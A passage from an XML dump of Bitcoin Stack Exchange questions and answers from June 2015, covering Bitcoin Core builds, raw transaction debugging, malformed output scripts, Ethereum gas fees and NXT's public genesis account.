5.1.29-5                           amd64        Berkeley v5.1 Database Libraries for C++ [development]&#xA;ii  libdb5.1-dev                                 5.1.29-5                           amd64        Berkeley v5.1 Database Libraries [development]&#xA;ii  libdb5.1-java                                5.1.29-5                           all          Berkeley v5.1 Database Libraries for Java&#xA;ii  libdb5.1-java-jni:amd64                      5.1.29-5                           amd64        Berkeley v5.1 Database Libraries for Java&#xA;ii  libkdb5-6:amd64                              1.10.1+dfsg-5+deb7u2               amd64        MIT Kerberos runtime libraries - Kerberos database&#xA;ii  libsybdb5:amd64                              0.91-2+deb7u1                      amd64        libraries for connecting to MS SQL and Sybase SQL servers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i don't want to remove db5 because other programs i rely on are using it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ apt-cache rdepends db5.1-util&#xA;db5.1-util&#xA;Reverse Depends:&#xA;  subversion&#xA;    db5.1-util:i386&#xA;  subversion&#xA;    db5.1-util:i386&#xA;  libapache2-svn&#xA;    db5.1-util:i386&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;how can i get bitcoin to install with berkley db 4.8 when 5.1 is already installed elsewhere?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-17T15:35:37.713" LastActivityDate="2015-06-17T20:03:07.567" Title="upgrading to bitcoin 0.10.2 fails" Tags="|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38048" PostTypeId="2" ParentId="38044" CreationDate="2015-06-17T15:42:35.987" Score="1" Body="&lt;p&gt;Your value for &quot;vout&quot; is invalid. The source transaction only has three, not 90464000.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;vout&quot;: 90463999,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The real output you are trying to spend is &lt;code&gt;0&lt;/code&gt;. You confused &lt;code&gt;tx_index&lt;/code&gt; and &lt;code&gt;tx_output_n&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-17T15:42:35.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38049" PostTypeId="2" ParentId="38006" CreationDate="2015-06-17T16:16:00.480" Score="2" Body="&lt;p&gt;transaction &lt;code&gt;ebc9fa1196a59e192352d76c0f6e73167046b9d37b8302b6bb6968dfd279b767&lt;/code&gt; from the live blockchain contains a lot of syntactically incorrect txout scripts and is useful as a demonstration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using pybitcointools:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python2.7                                                        &#xA;&#xA;from bitcoin import *&#xA;tx_hex = fetchtx(&quot;ebc9fa1196a59e192352d76c0f6e73167046b9d37b8302b6bb6968dfd279b767&quot;)&#xA;tx_dict = deserialize(tx_hex)&#xA;for (txout_num, txout) in enumerate(tx_dict[&quot;outs&quot;]):&#xA;    script = txout[&quot;script&quot;]&#xA;    print &quot;raw txout %d script: %s&quot; % (txout_num, script)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;raw txout 0 script: 01&#xA;raw txout 1 script: 0201&#xA;raw txout 2 script: 4c&#xA;raw txout 3 script: 4c0201&#xA;raw txout 4 script: 4d&#xA;raw txout 5 script: 4dffff01&#xA;raw txout 6 script: 4e&#xA;raw txout 7 script: 4effffffff01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;analysing each of these txout scripts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01 = OP_PUSHDATA0(1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this fails because it claims it will push 1 byte onto the stack, but then provides no bytes to push onto the stack&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0201 = OP_PUSHDATA0(2) &amp;lt;01&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this fails because it claims it will push 2 bytes onto the stack, but then only provides 1 byte to push onto the stack&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4c = OP_PUSHDATA1(?)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this fails because it is an incomplete OP_PUSHDATA1 opcode. the &lt;code&gt;4c&lt;/code&gt; byte should be followed by another byte specifying the number of data bytes to push onto the stack, however it is not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4c0201 = OP_PUSHDATA1(2) &amp;lt;01&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this fails because it claims it will push 2 bytes onto the stack, but then only provides 1 byte to push onto the stack.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;its funny that the output scripts in this particular transaction each have a different syntactically incorrect use of the OP_PUSHDATA commands. its almost as if someone had the same question as this and wanted to test if any syntax checking was implemented on scriptpubkeys. i'm glad they did this because its a very conclusive way to demonstrate that absolutely no syntax checking (and therefore no other checks either) are performed on scriptpubkeys before they are spent.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-17T23:26:08.650" LastActivityDate="2015-06-17T23:26:08.650" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38051" PostTypeId="1" CreationDate="2015-06-17T16:55:33.650" Score="1" ViewCount="619" Body="&lt;p&gt;I'm trying to push the following transaction but keep getting &lt;code&gt;OP_EQUALVERIFY: non-equal data&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the transaction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010000000122b2853f3145d35a56fc52cacda7d5ffe7e8f76b9fc2aecd312c899f5e41671a000000008c493046022100e484f5550ced311af2efb111237a54d0d93e68ac03ed5d084c669ae69afc36c902210087e69ce39c91936a4ec6fd66fb3b98d920a5ce4c3660a5519f9aa802787b09bb0141047920bd57b7b0dbf7ac242879ee1f1c4b87cbe30a1c31baa4d111850865042415d84f0a433174b3b17f41e280bfef85ff885dd8a1f25bf0823cfd77ec81bfc080ffffffff0101000000000000001976a914221382696ab041ff0bce2aceeea15132d9336fd488ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here it is decoded &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;lock_time&quot;:0,&#xA;   &quot;size&quot;:225,&#xA;   &quot;inputs&quot;:[&#xA;      {&#xA;         &quot;prev_out&quot;:{&#xA;            &quot;index&quot;:0,&#xA;            &quot;hash&quot;:&quot;1a67415e9f892c31cdaec29f6bf7e8e7ffd5a7cdca52fc565ad345313f85b222&quot;&#xA;         },&#xA;         &quot;script&quot;:&quot;493046022100e484f5550ced311af2efb111237a54d0d93e68ac03ed5d084c669ae69afc36c902210087e69ce39c91936a4ec6fd66fb3b98d920a5ce4c3660a5519f9aa802787b09bb0141047920bd57b7b0dbf7ac242879ee1f1c4b87cbe30a1c31baa4d111850865042415d84f0a433174b3b17f41e280bfef85ff885dd8a1f25bf0823cfd77ec81bfc080&quot;&#xA;      }&#xA;   ],&#xA;   &quot;version&quot;:1,&#xA;   &quot;vin_sz&quot;:1,&#xA;   &quot;hash&quot;:&quot;fff4294e225832d1649f244b1a93651126b1f92b3f5eaf03500ea38bb9a6127b&quot;,&#xA;   &quot;vout_sz&quot;:1,&#xA;   &quot;out&quot;:[&#xA;      {&#xA;         &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 221382696ab041ff0bce2aceeea15132d9336fd4 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;         &quot;address&quot;:&quot;147BM4WmH17PPxhiH1kyNppWuyCAwn3Jm4&quot;,&#xA;         &quot;value&quot;:1,&#xA;         &quot;script&quot;:&quot;76a914221382696ab041ff0bce2aceeea15132d9336fd488ac&quot;&#xA;      }&#xA;   ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18985" LastActivityDate="2015-06-17T17:32:04.693" Title="OP_EQUALVERIFY: non-equal data" Tags="|protocol|raw-transaction|utxo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38053" PostTypeId="2" ParentId="38051" CreationDate="2015-06-17T17:32:04.693" Score="3" Body="&lt;p&gt;This particular error message on bc.i means that the transaction is invalid due to OP_EQUALVERIFY operation failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scriptSig is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;493046022100e484f5550ced311af2efb111237a54d0d93e68ac03ed5d084c669ae69afc36c902210087e69ce39c91936a4ec6fd66fb3b98d920a5ce4c3660a5519f9aa802787b09bb01&#xA;41047920bd57b7b0dbf7ac242879ee1f1c4b87cbe30a1c31baa4d111850865042415d84f0a433174b3b17f41e280bfef85ff885dd8a1f25bf0823cfd77ec81bfc080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the public key is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;047920bd57b7b0dbf7ac242879ee1f1c4b87cbe30a1c31baa4d111850865042415d84f0a433174b3b17f41e280bfef85ff885dd8a1f25bf0823cfd77ec81bfc080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is &lt;code&gt;uncompressed&lt;/code&gt; public key and its address is &lt;code&gt;1Lj3WeRAmyN98jyiWE6AtnMKfzUzrPUL9z&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;1a67415e9f892c31cdaec29f6bf7e8e7ffd5a7cdca52fc565ad345313f85b222:0&lt;/code&gt; sends bitcoins to the another address: &lt;code&gt;1LCrg6DSqbcK5vh7XRAGEQA4jBpNigjwyV&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure that you use uncompressed public key instead of compressed one?&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-17T17:32:04.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38057" PostTypeId="1" CreationDate="2015-06-17T19:24:01.820" Score="0" ViewCount="1576" Body="&lt;p&gt;I have supposedly successfully setup a node using the Bitcoin core, but when I go to bitnodes to remotely see if the node is communicating with the network, bitnodes says i am unreachable. Bitcoin core disagrees. How can I find my node's unique address? Using cmd to run a netstat query shows me an ipv4 address that is also unsearchable with a fluid port range (49800-49950).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something tells me I know just barely enough about networking to be dangerous.&lt;/p&gt;&#xA;" OwnerUserId="26945" LastEditorUserId="47827" LastEditDate="2022-12-11T14:26:28.930" LastActivityDate="2022-12-11T14:26:28.930" Title="How do I identify my IP address on bitnodes?" Tags="|nodes|bitnodes|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38058" PostTypeId="2" ParentId="37800" CreationDate="2015-06-17T19:38:54.500" Score="-1" Body="&lt;p&gt;I found this site: &lt;a href=&quot;https://bitcoinwisdom.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinwisdom.com/bitcoin/calculator&lt;/a&gt; that enables you to input your electrical costs, your computation rate, how much you paid for your mining hardware and the bitcoin value to calculate profitability. there is also: &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; which is worth a look. I'm hoping to find out if mining is worth it if you cannot make an initial investment over 4-500$. Still working on it, haven't started yet.&lt;/p&gt;&#xA;" OwnerUserId="26945" LastActivityDate="2015-06-17T19:38:54.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38059" PostTypeId="2" ParentId="38046" CreationDate="2015-06-17T20:03:07.567" Score="1" Body="&lt;p&gt;To allow compatibility of your wallet.dat file with other bitcoind installations, it's strongly recommended to use bdb 4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, you can disable the db4.8 check by adding &lt;code&gt;--with-incompatible-bdb&lt;/code&gt; during configure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better would be to manually install berkley db 4.8 in a isolated path and compile bitcoin-core with something similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CPPFLAGS=&quot;$CPPFLAGS -I&amp;lt;your-bdb4.8-path&amp;gt;/include&quot;&#xA;LIBS=&quot;$LIBS -L&amp;lt;your-bdb4.8-path&amp;gt;/lib&quot;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this would probably require some makefile tweaking.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-17T20:03:07.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38060" PostTypeId="1" AcceptedAnswerId="38066" CreationDate="2015-06-17T20:18:21.900" Score="0" ViewCount="1054" Body="&lt;p&gt;Is there any web service anywhere that allows me to push raw transactions to the network via an ajax call? Blockchain's pushtx only works if you copy/paste so I can't build around it.&lt;/p&gt;&#xA;" OwnerUserId="18985" LastActivityDate="2015-06-17T22:22:23.023" Title="Pushing tx to the network via AJAX, without installing bitcoin" Tags="|api|websites|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38061" PostTypeId="1" CreationDate="2015-06-17T20:41:15.050" Score="3" ViewCount="716" Body="&lt;p&gt;I am wondering who pays the fees for transactions initiated by a smart contract in Ethereum?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have a contract that simply forwards any payment made into it to someone else, does the contract have to pay its own transaction fees for payments moving out, or does the transaction that initiate the contract have to pay the fees for both its transaction and the resulting transaction coming from the contract?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-06-17T21:31:31.443" Title="Who pays the fees for transactions initiated by a smart contract in Ethereum?" Tags="|transaction-fees|ethereum|smartcontracts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38062" PostTypeId="2" ParentId="38061" CreationDate="2015-06-17T20:44:06.340" Score="-1" Body="&lt;p&gt;Usually there is a small transaction fee on any bitcoin transaction. its 0.0002 i think. If the contract says that there is a additional fee for that contract then i would assume you would have both the transaction fee and the contract fee.&lt;/p&gt;&#xA;" OwnerUserId="26949" LastActivityDate="2015-06-17T20:44:06.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38063" PostTypeId="2" ParentId="38060" CreationDate="2015-06-17T20:45:20.140" Score="1" Body="&lt;p&gt;There are like a million services that will let you do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LuxStack - &lt;a href=&quot;https://luxstack.com/docs&quot; rel=&quot;nofollow&quot;&gt;https://luxstack.com/docs&lt;/a&gt; (Ctrl-F &quot;pushTransaction&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chain.com - &lt;a href=&quot;https://chain.com/docs#bitcoin-transaction-send&quot; rel=&quot;nofollow&quot;&gt;https://chain.com/docs#bitcoin-transaction-send&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any BitcoinJS exit node - &lt;a href=&quot;https://github.com/bitcoinjs/node-bitcoin-exit/wiki/REST-API&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoinjs/node-bitcoin-exit/wiki/REST-API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocktrail.com - &lt;a href=&quot;https://www.blocktrail.com/api/docs#sending_transactions&quot; rel=&quot;nofollow&quot;&gt;https://www.blocktrail.com/api/docs#sending_transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there's more I'm forgetting.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-06-17T20:48:34.353" LastActivityDate="2015-06-17T20:48:34.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38064" PostTypeId="2" ParentId="38061" CreationDate="2015-06-17T21:31:31.443" Score="6" Body="&lt;p&gt;A smart contract can only initiate a transaction when it receives a transaction from either another contract or a user. Thus, all transactions must originate from some user transaction, and it is this transaction that must pay for fees. The amount of fees can be limited by setting the gas limit on that transaction to prevent a malicious contract from consuming a horrendous amount of fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, all transactions that are the result of a specific user transaction will occur before any other user transactions (and it's subsequent contract transactions) are processed.&lt;/p&gt;&#xA;" OwnerUserId="26950" LastActivityDate="2015-06-17T21:31:31.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38065" PostTypeId="1" CreationDate="2015-06-17T21:37:59.877" Score="2" ViewCount="835" Body="&lt;p&gt;As I understand, Ethereum smart contracts can store data internally. I am wondering - is it cheaper for a smart contract to keep all of its data forever if it is keeping the data for any length of time, or does deleting unnecessary data from the contract after it has been used better (even though you have to pay for the operations)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have a contract that keeps a record of everyone that triggered it in the last day, does it make sense for me to remove that data the following day when it is no longer needed, or since the storage was already paid for, there is no point in deleting the old data?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-06-17T23:46:26.350" Title="In Ethereum smart contracts is it cheaper to keep all the data, or delete old data?" Tags="|storage|ethereum|smartcontracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38066" PostTypeId="2" ParentId="38060" CreationDate="2015-06-17T22:09:28.067" Score="3" Body="&lt;p&gt;Looks like the premise of this question was wrong. Blockchain.info DOES support raw transactions via ajax however you have to include &lt;code&gt;?cors=true&lt;/code&gt; to the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note they also require &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; data. Here's what my request looked like in angular&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$http({&#xA;    method: 'POST'&#xA;    ,url: 'https://blockchain.info/pushtx?cors=true'&#xA;    ,data: $.param({tx:txHex})&#xA;    ,headers:{&#xA;        &quot;Content-Type&quot;:&quot;application/x-www-form-urlencoded&quot;&#xA;    }&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18985" LastEditorUserId="18985" LastEditDate="2015-06-17T22:22:23.023" LastActivityDate="2015-06-17T22:22:23.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38067" PostTypeId="2" ParentId="38065" CreationDate="2015-06-17T23:46:26.350" Score="2" Body="&lt;p&gt;You get a gas refund of 15000 for resetting a storage slot to zero, but you have to use this gas during the current transaction (more specifically, you get at most one half of the total spent gas as a refund). This means you can trade some cleanup with other operations, but you will never be returned such refunded gas in ether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the general idea is that if you e.g. have a crowdfunding contract, the function that checks whether its goal has been reached is cheap to execute even if it clears all the data and sends funds around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if all you do is to delete the data, you are probably better off just leaving it there, as the transaction that deletes the data will never be free.&lt;/p&gt;&#xA;" OwnerUserId="26726" LastActivityDate="2015-06-17T23:46:26.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38068" PostTypeId="1" AcceptedAnswerId="38069" CreationDate="2015-06-18T00:39:30.750" Score="1" ViewCount="850" Body="&lt;p&gt;I remember there was a passphrase/password that gave you access to NXT's genesis account even though you can't do anything with it once you get in there. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-06-18T00:42:43.823" Title="What is NXT's Genesis Account's Passphrase / Password?" Tags="|nxt|genesis-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38069" PostTypeId="2" ParentId="38068" CreationDate="2015-06-18T00:42:43.823" Score="2" Body="&lt;h2&gt;Genesis Account Number&lt;/h2&gt;&#xA;&lt;p&gt;The genesis account number is &lt;strong&gt;1739068987193023818 (NXT-MRCC-2YLS-8M54-3CMAJ)&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Genesis Account Passphrase&lt;/h2&gt;&#xA;&lt;p&gt;The passphrase “&lt;strong&gt;It was a bright cold day in April, and the clocks were striking thirteen.&lt;/strong&gt;” gives any user access to the genesis account. It is the opening line of George Orwell’s ‘1984’, which begins on the 4th April 1984.&lt;/p&gt;&#xA;&lt;p&gt;Even if you got in, it would be a negative balance which means you wont be able to send anything out. People use it to use it as a blackhole to send their nxt or assets to, since anything that goes in wont be coming back out.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IYiqs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-06-18T00:42:43.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38070" PostTypeId="1" CreationDate="2015-06-18T02:40:30.947" Score="7" ViewCount="15342" Body="&lt;p&gt;Say I have a simple smart contract:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;contract Simple {&#xA;    string32 message;&#xA;&#xA;    function Simple() {&#xA;        message = &quot;Hello world!&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I easily access the &lt;code&gt;message&lt;/code&gt; variable by name in JavaScript? It looks like &lt;a href=&quot;https://dappsforbeginners.wordpress.com/tutorials/javascript-api-2/&quot; rel=&quot;noreferrer&quot;&gt;there is some way to map functions into JS&lt;/a&gt;, but variables appear to only be accessible through &lt;a href=&quot;https://dappsforbeginners.wordpress.com/tutorials/javascript-api-1/&quot; rel=&quot;noreferrer&quot;&gt;a complicated way&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var storageObject = web3.eth.storageAt(contractAddress);&#xA;document.getElementById('fullName').innerText = web3.toAscii(storageObject['0x']) + ' ' + web3.toAscii(storageObject['0x01']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="323" LastActivityDate="2016-05-09T13:43:39.400" Title="Is there a way to access Ethereum Smart Contract's variables by name in JavaScript?" Tags="|ethereum|javascript|smartcontracts|" AnswerCount="3" CommentCount="0" ClosedDate="2020-04-25T23:43:29.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="38071" PostTypeId="2" ParentId="36064" CreationDate="2015-06-18T06:50:14.003" Score="-1" Body="&lt;p&gt;Again, I am not familiar with cgminer but when I attempted to use it, I ran it with &lt;code&gt;sudo cgminer --verbose -T&lt;/code&gt; This should work.&lt;/p&gt;&#xA;" OwnerUserId="21126" LastActivityDate="2015-06-18T06:50:14.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38072" PostTypeId="1" CreationDate="2015-06-18T06:52:49.213" Score="0" ViewCount="229" Body="&lt;p&gt;I understand how the Bitcoin core wallet communicates with the blockchain, but how do the lightweight wallets like Multibits, Electrum, etc, communicate with the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="26872" LastEditorUserId="56167" LastEditDate="2017-07-26T14:27:29.453" LastActivityDate="2017-07-26T14:27:29.453" Title="Lightweight Wallets Communication with Blockchain" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38073" PostTypeId="2" ParentId="38072" CreationDate="2015-06-18T07:00:24.173" Score="1" Body="&lt;p&gt;You should have a look at the SPV (&lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29_Clients&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29_Clients&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was also mentioned by Satoshi in his paper at page 5 point 8:&#xA;&lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/bitcoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-18T07:00:24.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38076" PostTypeId="1" CreationDate="2015-06-18T13:29:12.423" Score="1" ViewCount="115" Body="&lt;p&gt;I'm not sure if those questions were asked this way before but ...:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to allocate CPU resources/hash power to an instance of bitcoind run on regtest?If yes, how?&lt;/strong&gt;&lt;br/&gt;&#xA;Assuming I'm going to run 100 nodes on regtest, how can I run one node with 20% of total hashing power?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is CPU allocation hardcoded? If yes, where in the code?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If not possible by Bitcoin source code, is there a way to allocate CPU to a daemon, in general?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way: I'm using Bitcoin Core 0.10.0.&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="5406" LastEditDate="2016-04-01T09:18:15.847" LastActivityDate="2016-04-01T09:18:15.847" Title="How to allocate hash power to an instance of bitcoind?" Tags="|bitcoind|miner-configuration|cpu|regtest|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38077" PostTypeId="1" CreationDate="2015-06-18T14:01:44.153" Score="1" ViewCount="96" Body="&lt;p&gt;I am new to Bitcoin and I'm trying to understand how it works and how I can make it work for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's say I travel often to different Spanish speaking countries in South America and Spain. How can I acquire a list of all the vendors, merchants, services, etc. that use the Bitcoin exchange in all these areas to avoid using the banking system of &quot;money transfer?&quot;&lt;/p&gt;&#xA;" OwnerUserId="26956" LastEditorUserId="18227" LastEditDate="2015-06-18T15:07:24.957" LastActivityDate="2018-05-08T08:51:43.567" Title="Where can I get a list of places I can use my Bitcoins?" Tags="|trading|merchants|commerce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38078" PostTypeId="1" CreationDate="2015-06-18T14:10:29.570" Score="0" ViewCount="404" Body="&lt;p&gt;I use armoryd (0.93.1) to send transactions in the testnet Bitcoin network with the three calls:&#xA;1. createustxtoaddress&#xA;2. signasciitransaction&#xA;3. sendasciitransaction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The calls are all successfull, the transaction is broadcasted then mined. &#xA;BUT it's never appeared in the mempool !&#xA;according to this dicussion : &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9864/when-a-transaction-is-broadcast-to-the-network-what-is-actually-being-sent&quot;&gt;When a transaction is broadcast to the network, what is actually being sent?&lt;/a&gt; how is this possible ?! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;test realized at 1:42 PM Today&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;my txId: 814555d2fa93f1f01f84cfadff753cb66594d5fd1205523f82c44ac4da6f5359&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;bitcoin core mempool: [&#xA;      &quot;135ec8b33e79b1a827b474b31460afc6f94104a9d33fea86bf77b38ffcc89bab&quot;,&#xA;      &quot;3319496f02e377451bc0b27951e488a60a3a4f9dc2c6c5ae3a350e42a0a32d2d&quot;,&#xA;      &quot;3a1e3674de34013aa45b96d680bd39a29c6ca5b4bcdccdef12dbb03d5a76b72e&quot;,&#xA;      &quot;4737ec977a4bd256fc9f6250221ea8b935a8c2f0769b62a2e43f9ad685980bef&quot;,&#xA;      &quot;4d8c4d8f67536007c826de9d2b65a8e566736cba8d80d3c77fe696909624602e&quot;,&#xA;      &quot;4ec4d33aa4ec6ff136715c5301cc0571220210a417c69479c0bd1a41a6b2a8bb&quot;,&#xA;      &quot;54a2b0d2e010b1c94f59f5970c882167ad4746c778f23334da4cb9bb9850a203&quot;,&#xA;      &quot;54e6b52cbbd93efcd33d6f5f38daa538e467401dbd6b1e6ce93f8f9089caf071&quot;,&#xA;      &quot;75c0765c97805ff6bc7e383d5b927620cf39afa87f061784e94aa092c10c9b57&quot;,&#xA;      &quot;9c47af29649f2ca07f6203e3b88ab9d723b93cd19c98b9bf8e218306bdfdec15&quot;,&#xA;      &quot;a982220cc1c6ecd437e1a0f7cd7f99df19b7841c4f1ca4117f57c2e6fd90c153&quot;,&#xA;      &quot;b3b1a483d9c8151a1bf48b81d4a4aa9193a640078d2e0af0d2b8b8eb673790dc&quot;,&#xA;      &quot;b6392de0a579a413c224cd379b8d0e6ecd66283fdfd88e1356c8a299200db90a&quot;,&#xA;      &quot;bd4d9ade8b362548007c0780be1e35a065af9e29ee0ae2f43950b8b192d9865b&quot;,&#xA;      &quot;c1f02ab8686fc2f678e77ecf4d79cc5f827dd709efd9d3262a66f14b34b8a376&quot;,&#xA;      &quot;c66958ca3f9a2c526e72a84ac061a5bd31485aa757000badf2049ab386d61054&quot;,&#xA;      